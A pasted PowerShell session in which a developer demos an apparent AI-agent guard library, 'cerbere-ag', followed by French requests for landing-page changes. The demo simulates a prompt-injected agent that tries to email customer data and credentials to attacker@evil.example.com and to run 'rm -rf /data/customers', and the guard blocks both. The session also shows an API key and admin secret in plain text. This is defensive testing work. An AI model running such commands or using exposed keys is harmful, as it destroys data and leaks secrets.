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PS C:\Users\USER\Documents\cerbere-test> python -m pip install requests structlog tiktoken pydantic Requirement already satisfied: requests in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (2.34.2) Requirement already satisfied: structlog in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (26.1.0) Requirement already satisfied: tiktoken in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (0.14.0) Requirement already satisfied: pydantic in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (2.13.5) Requirement already satisfied: charset_normalizer<4,>=2 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests) (3.5.1) Requirement already satisfied: idna<4,>=2.5 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests) (3.19) Requirement already satisfied: urllib3<3,>=1.26 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests) (2.7.0) Requirement already satisfied: certifi>=2023.5.7 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests) (2026.7.22) Requirement already satisfied: regex in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from tiktoken) (2026.9.10) Requirement already satisfied: annotated-types>=0.6.0 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic) (0.8.0) Requirement already satisfied: pydantic-core==2.46.5 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic) (2.46.5) Requirement already satisfied: typing-extensions>=4.14.1 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic) (4.16.0) Requirement already satisfied: typing-inspection>=0.4.2 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic) (0.4.4) PS C:\Users\USER\Documents\cerbere-test> $env:AGENTGUARD_ADMIN_SECRET="admin-lTU1JU31z5H9QMuu0oKjtdyCxh2WdwmZ" PS C:\Users\USER\Documents\cerbere-test> $env:AGENTGUARD_COLLECTOR_TIMEOUT="30" PS C:\Users\USER\Documents\cerbere-test> $env:AGENTGUARD_API_KEY="ag_live_CmxmlxopFY6RCTonf3FktTt5Z266uShqKkki1e-64vk" PS C:\Users\USER\Documents\cerbere-test> python -m pip install cerbere-ag Requirement already satisfied: cerbere-ag in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (0.1.3) Requirement already satisfied: requests>=2.28 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from cerbere-ag) (2.34.2) Requirement already satisfied: structlog>=23.0 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from cerbere-ag) (26.1.0) Requirement already satisfied: tiktoken>=0.5 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from cerbere-ag) (0.14.0) Requirement already satisfied: pydantic>=2.0 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from cerbere-ag) (2.13.5) Requirement already satisfied: annotated-types>=0.6.0 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic>=2.0->cerbere-ag) (0.8.0) Requirement already satisfied: pydantic-core==2.46.5 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic>=2.0->cerbere-ag) (2.46.5) Requirement already satisfied: typing-extensions>=4.14.1 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic>=2.0->cerbere-ag) (4.16.0) Requirement already satisfied: typing-inspection>=0.4.2 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from pydantic>=2.0->cerbere-ag) (0.4.4) Requirement already satisfied: charset_normalizer<4,>=2 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests>=2.28->cerbere-ag) (3.5.1) Requirement already satisfied: idna<4,>=2.5 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests>=2.28->cerbere-ag) (3.19) Requirement already satisfied: urllib3<3,>=1.26 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests>=2.28->cerbere-ag) (2.7.0) Requirement already satisfied: certifi>=2023.5.7 in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from requests>=2.28->cerbere-ag) (2026.7.22) Requirement already satisfied: regex in C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Lib\site-packages (from tiktoken>=0.5->cerbere-ag) (2026.9.10) PS C:\Users\USER\Documents\cerbere-test> C:\Users\USER\AppData\Local\Python\pythoncore-3.14-64\Scripts\cerbere.exe {"event": "signing_module_unavailable_signed_decisions_disabled", "timestamp": "2026-09-11T08:28:35.167073Z", "level": "warning"}
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🛡️ CERBERE-AG EST ACTIF 🛡️
Le gardien à trois têtes protège ton système !
PS C:\Users\USER\Documents\cerbere-test> python agent_demo.py Warm-up de https://app.cerbereag.site (Render free tier peut mettre du temps a demarrer)... Service reveille (tentative 1). Utilisation de AGENTGUARD_API_KEY (votre cle, votre org). {"strong": 141, "weak": 7, "extended_patterns": 107, "event": "regex_patterns_compiled", "timestamp": "2026-09-11T08:28:55.986020Z", "level": "info"} {"error": "No module named 'spacy'", "event": "presidio_unavailable_using_regex_fallback", "timestamp": "2026-09-11T08:28:55.987603Z", "level": "warning"} {"event": "signed_decisions_enabled", "timestamp": "2026-09-11T08:28:57.507021Z", "level": "info"} {"mode": "memory", "event": "atomic_budget_manager_enabled", "timestamp": "2026-09-11T08:28:57.510859Z", "level": "info"} {"status": {"prompt_guard": {"enabled": true, "has_api_key": false}, "llama_guard": {"enabled": true, "provider": "groq", "has_api_key": false}, "deepseek": {"enabled": true}}, "event": "triple_judge_enabled", "timestamp": "2026-09-11T08:28:57.511349Z", "level": "info"} {"collector": "https://app.cerbereag.site", "ml": false, "llm_judge": false, "signed_decisions": true, "taint_tracking": true, "atomic_budget": true, "triple_judge": true, "runtime_risk": true, "runtime_fail_closed": true, "trajectory": true, "event": "agentguard_initialized", "timestamp": "2026-09-11T08:28:57.512485Z", "level": "info"}
============================================================ PHASE 1 — Travail naturel de l'agent (taches legitimes)
--- L'agent cherche la meteo pour planifier un rendez-vous --- [AGENT] appelle search_web({'query': 'meteo Paris demain'}) {"status": 500, "event": "decide_endpoint_failed", "timestamp": "2026-09-11T08:28:58.954036Z", "level": "warning"} {"span_id": "0b717aeeec3db9bf", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:29:16.403304Z", "level": "error"} [CERBERE] ALLOW -> [resultats simules pour 'meteo Paris demain']
--- L'agent verifie les disponibilites de l'utilisateur --- [AGENT] appelle check_calendar({'date': '2026-09-12'}) {"status": 500, "event": "decide_endpoint_failed", "timestamp": "2026-09-11T08:29:18.178865Z", "level": "warning"} {"span_id": "858b2f6a6e47a30f", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:29:23.768717Z", "level": "error"} [CERBERE] ALLOW -> [creneau libre le 2026-09-12 a 15h]
--- L'agent redige un recapitulatif --- [AGENT] appelle write_file({'path': 'recap_journee.txt', 'content': 'Recap: RDV confirme le 12/09 a 15h, meteo ensoleillee.'}) {"status": 500, "event": "decide_endpoint_failed", "timestamp": "2026-09-11T08:29:26.092814Z", "level": "warning"} {"span_id": "1c523df5be5e30b9", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:29:56.897607Z", "level": "error"} [CERBERE] ALLOW -> [fichier 'recap_journee.txt' ecrit, 54 caracteres]
--- L'agent envoie le recap par email a un collegue --- [AGENT] appelle send_email({'to': 'collegue@entreprise.com', 'subject': 'Recap de la journee', 'body': 'Bonjour, voici le recap : RDV confirme le 12/09 a 15h.'}) {"status": 500, "event": "decide_endpoint_failed", "timestamp": "2026-09-11T08:29:58.521847Z", "level": "warning"} {"span_id": "993b1267d696c5dc", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:30:15.853683Z", "level": "error"} [CERBERE] ALLOW -> [email envoye a collegue@entreprise.com, sujet: 'Recap de la journee']
============================================================ PHASE 2 — Tentative d'action malveillante (injection / abus)
Simulation : l'agent recoit une instruction empoisonnee (ex: contenu d'une page web ou d'un email malveillant lu par l'agent) qui tente de detourner ses outils.
--- L'agent (detourne) tente d'exfiltrer des donnees par email --- [AGENT] appelle send_email({'to': 'attacker@evil.example.com', 'subject': 'Re: export', 'body': 'Voici la base de donnees clients et les credentials en piece jointe.'}) {"span_id": "23a29482017cc943", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:30:32.367555Z", "level": "error"} [CERBERE] BLOCKED -> 🛡️ Runtime risk DENY: local policy: Exfiltration detected in email
--- L'agent (detourne) tente d'executer une commande destructrice --- [AGENT] appelle execute_command({'command': 'rm -rf /data/customers'}) {"span_id": "b428147011bd39ff", "event": "collector_send_failed_final", "timestamp": "2026-09-11T08:30:38.078197Z", "level": "error"} [CERBERE] BLOCKED -> 🛡️ Runtime risk DENY: local policy: Dangerous command pattern
Org : la votre (cle personnelle utilisee) — connectez-vous sur https://app.cerbereag.site/login avec le meme compte pour voir les traces. Regardez le dashboard : https://app.cerbereag.site/login -> Recent Events / Audit Trail devrait montrer 4 actions autorisees et 2 actions bloquees (exfiltration email + commande dangereuse). PS C:\Users\USER\Documents\cerbere-test>
et tu n'as pas non plus mis le logo dans le topbar bro
on a oublier les lier vers les legals comme: https://app.cerbereag.site/terms
entre le hero et see it work on va mettre un section des compatible comme ou integration: AgentGuard integrations Python SDKNative runtime instrumentation for LLM calls and tool execution.MCPSecurity boundary for MCP clients, servers and tool calls.HTTPHTTP GatewayLanguage-agnostic telemetry and policy boundary.ComposioGuard Composio tool execution with AgentGuard policy enforcement. AI providers OpenAIProtect Responses and Chat Completions through the SDK.AnthropicProtect Claude requests and tool-use workflows. Agent frameworks LangGraphInstrument graph nodes and side-effecting tool edges.CrewAIGuard CrewAI tools and agent execution paths.
puis on va mettre une section faq mais pas comme les autres les question les question frequentent scroll horizontalement comme dans la capture partager et si quelqu'un clique sur une question elle s'ouvre en pop up modale avec une reponse ok?
et surtout on oublier pas l'aspect observabiliter puisqu'on mentionne plus security en oubliant observability
dernier arret d'utiliser cette signe de ponctuation sa fait trop IA stp: —
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